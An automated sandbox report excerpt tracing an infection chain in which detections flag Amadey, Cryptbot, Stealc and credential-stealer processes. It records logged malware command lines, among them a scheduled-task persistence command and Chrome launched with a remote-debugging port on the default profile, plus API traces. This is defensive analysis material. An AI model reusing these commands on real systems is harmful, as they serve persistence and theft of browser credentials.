Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:16:39
Start date:	15/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGHIDGDHCGC.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:16:39
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:16:39
Start date:	15/11/2024
Path:	C:\Users\user\DocumentsGHIDGDHCGC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsGHIDGDHCGC.exe"
Imagebase:	0x750000
File size:	3'255'808 bytes
MD5 hash:	00C0358385D6AE38BBB01A8AE4671488
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.2495541140.0000000000751000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:16:43
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x240000
File size:	3'255'808 bytes
MD5 hash:	00C0358385D6AE38BBB01A8AE4671488
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2538097911.0000000000241000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	10:17:00
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x240000
File size:	3'255'808 bytes
MD5 hash:	00C0358385D6AE38BBB01A8AE4671488
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	10:17:10
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe"
Imagebase:	0x590000
File size:	4'416'512 bytes
MD5 hash:	5552526220FA0F65D5371D522781FCAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Cryptbot, Description: Yara detected Cryptbot, Source: 00000018.00000003.3328977869.0000000001784000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 32%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	10:17:15
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe"
Imagebase:	0x180000
File size:	1'829'376 bytes
MD5 hash:	181C832FACF1E2A1B604AB7B265BF084
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 29%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	10:17:20
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7100 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	10:17:21
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe"
Imagebase:	0x810000
File size:	1'822'720 bytes
MD5 hash:	2F9CE4F5D569B97571847C93C0FBEA69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2927755728.000000000158D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000003.2869313380.0000000005280000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2926028640.0000000000811000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Antivirus matches:	Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	10:17:23
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6972 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	10:17:25
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	3'255'808 bytes
MD5 hash:	00C0358385D6AE38BBB01A8AE4671488
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	10:17:30
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe"
Imagebase:	0x180000
File size:	1'829'376 bytes
MD5 hash:	181C832FACF1E2A1B604AB7B265BF084
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.3020917384.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.3020155012.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.3040423973.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.3067826677.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.3059324540.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.3022146414.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.3059764525.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.3001594153.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	10:17:31
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe"
Imagebase:	0x470000
File size:	2'848'768 bytes
MD5 hash:	6AF7BB44C8E6E041BF2EE6B7A60D9AB3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	10:17:39
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe"
Imagebase:	0x810000
File size:	1'822'720 bytes
MD5 hash:	2F9CE4F5D569B97571847C93C0FBEA69
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3084022253.0000000000811000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000003.3043113715.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3087259730.000000000159B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	10:17:51
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	10:17:51
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2020,i,8464366438197463792,2252518070314481184,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	10:17:54
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=price_comparison_service.mojom.DataProcessor --lang=en-GB --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=3184 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	10:17:55
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe"
Imagebase:	0x180000
File size:	1'829'376 bytes
MD5 hash:	181C832FACF1E2A1B604AB7B265BF084
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000024.00000003.3275594136.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000024.00000003.3288926089.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	10:18:02
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	10:18:02
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1864 --field-trial-handle=2016,i,4962616623061783139,15835514169929134595,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	10:18:04
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5588 --field-trial-handle=2020,i,8464366438197463792,2252518070314481184,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	10:18:05
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2700 --field-trial-handle=2020,i,8464366438197463792,2252518070314481184,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	10:18:12
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe"
Imagebase:	0x470000
File size:	2'848'768 bytes
MD5 hash:	6AF7BB44C8E6E041BF2EE6B7A60D9AB3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	10:18:13
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	10:18:15
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2492,i,16725161677083735427,9451106659774162730,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	10:18:28
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6348 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	10:18:44
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	10:18:44
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=280,i,13025056883982514097,7445965038179870877,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	10:18:46
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	10:18:47
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=2044,i,12512903684806153351,6029847284752291960,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	10:19:20
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5540 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	10:19:34
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\service123.exe"
Imagebase:	0x660000
File size:	314'617'856 bytes
MD5 hash:	B17770C3F6496BD3B5A5BB294C4A1DE0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	10:19:34
Start date:	15/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Imagebase:	0xd80000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	10:19:34
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	10:19:35
Start date:	15/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2460 -s 1256
Imagebase:
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6C6135A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C69F688,00001000), ref: 6C6135D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6135E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6135FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C61363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C61369F
__aulldiv.LIBCMT ref: 6C6136E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C613773
EnterCriticalSection.KERNEL32(6C69F688), ref: 6C61377E
LeaveCriticalSection.KERNEL32(6C69F688), ref: 6C6137BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6137C4
EnterCriticalSection.KERNEL32(6C69F688), ref: 6C6137CB
LeaveCriticalSection.KERNEL32(6C69F688), ref: 6C613801
__aulldiv.LIBCMT ref: 6C613883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C613902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C613918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C61394C

Strings

GTC, xrefs: 6C613912
MOZ_TIMESTAMP_MODE, xrefs: 6C6135DB
AuthcAMDenti, xrefs: 6C613946
QPC, xrefs: 6C6138FC
GenuntelineI, xrefs: 6C613639

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3e6f983c6ceb883f4280ba65b14c5f0554bbe6b9744990ee5275b66348460789
Instruction ID: ebf15e7b3efc09cf472eb22eae7549ab0d4cc57c91c1751058b792fc7a3334a7
Opcode Fuzzy Hash: 3e6f983c6ceb883f4280ba65b14c5f0554bbe6b9744990ee5275b66348460789
Instruction Fuzzy Hash: 35B1B571B093129BDB08DF2AC89461A77F9BB8A705F15893EF49AD3750D7309805CB8A

Function 6C62C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C62C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C62C969
GetSystemInfo.KERNEL32(?), ref: 6C62C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C62C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C62C9E2

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: aabe9986c9463aa994963f3d37128140de22a25597353e79862284f939ae2420
Instruction ID: 943e09e7a95ea0106f3f5939e2322afa1f710b71d8c6c9ab933078f07ffd00c3
Opcode Fuzzy Hash: aabe9986c9463aa994963f3d37128140de22a25597353e79862284f939ae2420
Instruction Fuzzy Hash: C4210772B41205BBEB14AF25CCC4BAE73B9EB86744F50411AF947A7A40DB6098048B9D

Function 6C613060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C613095

Part of subcall function 6C6135A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C69F688,00001000), ref: 6C6135D5
